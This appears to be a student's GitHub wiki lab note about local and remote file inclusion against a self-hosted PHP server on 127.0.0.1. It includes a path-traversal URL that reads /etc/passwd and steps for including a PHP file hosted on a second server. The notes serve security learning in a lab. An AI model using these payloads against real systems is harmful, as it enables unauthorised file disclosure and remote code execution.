Lab 2.2 - skyleroriordan/my-tech-journal GitHub Wiki

example index.php file

example page.html file

To host webpage use php -S 127.0.0.1:9000

On the webpage to do a code injection use http://127.0.0.1:9000/index.php?=../../../../../../etc/passwd

rfi

Copy and modify the the php.ini file

To execute make another php file such as

host another server (pyhton3 -m http.server 800) on a different and port and have it in the same directory. Access the file by using http://SERVER1/index.php?page=SERVER2/rfi.php